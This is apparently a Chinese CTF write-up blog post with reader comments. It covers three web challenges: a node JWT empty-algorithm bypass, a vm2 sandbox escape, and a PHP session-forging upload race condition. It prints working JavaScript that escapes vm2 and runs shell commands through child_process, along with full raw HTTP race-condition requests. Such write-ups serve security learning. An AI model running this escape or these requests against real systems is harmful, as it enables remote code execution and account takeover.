web狗已在天台 感觉良好

web1 名字我忘了

node的jwt库的空加密缺陷 基本就是evoA师傅在unctf出的题目的究极简化版

https://evoa.me/index.php/archives/60/

直接看这个吧

为了绕过最开始对sid的判断

要注册一个账号

然后sid设置成""就完美绕过了

web2 也忘了

表面php 实际node.js

沙盒逃逸

有过滤 但是直接数组就绕了

然后vm的issue里可以搜到能用的逃逸exp

https://github.com/patriksimek/vm2/issues/225

try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
        return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }

传过去发现return报错 那就不return了

try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
         e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }

getshell

web3 upload

这题基本就是trickgame了

比较坑的地方一个是服务端会删文件 所以要burp跑

还有一点是远程的序列化器并不是默认的 要自己读下session 按他的格式来,而且有一个不可显字符也要复制上

POST / HTTP/1.1
Host: 8fce7c87ca4b438faeec25f242221df61c007e956a984471.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:P3rh4ps
Content-Type: multipart/form-data; boundary=--------------------------242244541916994512077413
Content-Length: 455

----------------------------242244541916994512077413
Content-Disposition: form-data; name="direction"

upload
----------------------------242244541916994512077413
Content-Disposition: form-data; name="attr"

----------------------------242244541916994512077413
Content-Disposition: form-data; name="up_file"; filename="sess"
Content-Type: application/octet-stream

usernames:5:"admin";
----------------------------242244541916994512077413--
POST /woc/ HTTP/1.1
Host: p3rh4ps.top
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:PHPSESSID=93a84af02e9b3ecabc4796cd0668c3fda0c2f9f76cdd223a1cc94fddaa297bf8
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------242244541916994512077413
Cookie: PHPSESSID=38e7636c6db1657cf40b1fd39086bacf; __jsluid_h=28cfab0164f01559672c2377f4b53ce8
Content-Length: 455

----------------------------242244541916994512077413
Content-Disposition: form-data; name="direction"

upload
----------------------------242244541916994512077413
Content-Disposition: form-data; name="attr"

success.txt
----------------------------242244541916994512077413
Content-Disposition: form-data; name="up_file"; filename="sess"
Content-Type: application/octet-stream

usernames:5:"admin";
----------------------------242244541916994512077413--

brup爆破发这俩包条件竞争 attr是为了创建个success.txt的文件夹绕过文件存在的判断

最后cookie改成432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

就出来了

没什么难度但是体验很差的题 throw了一堆异常 结果error_report(0) 一点回显没有 只能本地测充分了再去远程打

估计session的序列化器也卡了不少人 很恶心

没有进线下 所以我直接发出来了 就酱

分类: 技术

4 条评论

ub1 · 四月 19, 2020 10:06 上午

p3TTTTTTTTTQL

    P3rh4ps · 四月 20, 2020 4:58 上午

    嘤嘤嘤 我太菜了

Wendell · 四月 19, 2020 11:56 上午

那个web1,控制器源码怎么看到的呀,只是开始因为静态文件的泄露,读不出控制器呀

    P3rh4ps · 四月 20, 2020 4:58 上午

    controllers/api.js

发表评论

电子邮件地址不会被公开。 必填项已用*标注